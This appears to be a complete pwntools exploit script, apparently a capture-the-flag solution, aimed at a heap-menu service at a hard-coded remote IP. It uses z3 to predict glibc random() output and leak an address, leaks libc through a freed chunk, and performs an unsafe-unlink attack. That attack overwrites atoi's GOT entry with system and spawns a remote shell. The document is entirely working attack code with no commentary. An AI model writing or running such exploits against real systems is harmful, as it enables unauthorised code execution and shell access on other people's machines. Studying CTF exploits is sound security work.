from
pwn
import
*
from
z3
import
*
import
sys
if
len
(sys.argv) >
1
:
r
=
remote(
'123.206.22.95'
,
8888
)
else
:
r
=
remote(
'127.0.0.1'
,
4444
)
context.arch
=
'amd64'
offset___libc_start_main_ret
=
0x20830
offset_system
=
0x0000000000045390
offset_dup2
=
0x00000000000f7940
offset_read
=
0x00000000000f7220
offset_write
=
0x00000000000f7280
offset_str_bin_sh
=
0x18cd17
def
get(i, size):
r.sendlineafter(
'> '
,
'1'
)
r.sendlineafter(
'> '
,
str
(i))
r.sendlineafter(
'> '
,
str
(size))
def
free(i):
r.sendlineafter(
'> '
,
'2'
)
r.sendlineafter(
'> '
,
str
(i))
def
write(i, msg):
r.sendlineafter(
'> '
,
'3'
)
r.sendlineafter(
'> '
,
str
(i))
r.send(msg)
def
show(i):
r.sendlineafter(
'> '
,
'4'
)
r.sendlineafter(
'> '
,
str
(i))
c
=
r.recvuntil(
'You'
)
c
=
c.replace(
'You'
, '')
c
=
c.rstrip()
return
u64(c.ljust(
8
,
'\x00'
))
def
guess(i):
r.sendlineafter(
'> '
,
'5'
)
r.sendlineafter(
'> '
,
str
(i))
r.recvuntil(
'!'
)
maybe
=
r.recvuntil(
'!'
)
value
=
int
(maybe.split(
' '
)[
-
1
].replace(
'!'
, ''))
if
'secret'
in
maybe:
return
(
1
, value)
return
(
0
, value)
actual
=
[]
state
=
[BitVec(
"state%d"
%
i,
32
)
for
i
in
xrange
(
31
)]
s
=
Solver()
for
i
in
xrange
(
93
):
actual.append(guess(
1
)[
1
])
for
i
in
xrange
(
93
):
state[(
3
+
i)
%
31
]
+
=
state[i
%
31
]
output
=
(state[(
3
+
i)
%
31
] >>
1
) &
0x7fffffff
s.add(output
=
=
actual[i])
print
s.check()
m
=
s.model()
for
i
in
xrange
(
93
,
93
+
31
):
state[(
3
+
i)
%
31
]
+
=
state[i
%
31
]
output
=
m.evaluate((state[(
3
+
i)
%
31
] >>
1
) &
0x7fffffff
)
actual
=
guess(output)
assert
actual[
0
]
=
=
1
break
context.log_level
=
'debug'
offset_seed
=
0x555555756148
offset_atoi_got
=
0x555555756068
offset_box2
=
0x555555756110
seed_addr
=
actual[
1
]
print
hex
(seed_addr)
atoi_got
=
offset_atoi_got
-
offset_seed
+
seed_addr
box2
=
offset_box2
-
offset_seed
+
seed_addr
print
hex
(box2)
get(
1
,
24
)
get(
2
,
0x90
-
8
)
get(
3
,
0xa0
-
8
)
free(
2
)
leak_libc
=
show(
2
)
libc_base
=
leak_libc
-
0x3c4b78
print
hex
(libc_base)
system
=
offset_system
+
libc_base
print
hex
(system)
write(
2
, flat(
0
,
0x81
,
box2
-
0x18
,
box2
-
0x10
,
'A'
*
(
0x90
-
8
-
8
*
5
),
0x80
,
'\xa0'
))
raw_input
(
'#'
)
free(
3
)
write(
2
, flat(
0
,
0
,
0
, atoi_got)
+
'\n'
)
print
`p64(system)`
write(
2
, p64(system)
+
'\n'
)
r.sendlineafter(
'> '
,
'/bin/sh\x00'
)
r.interactive()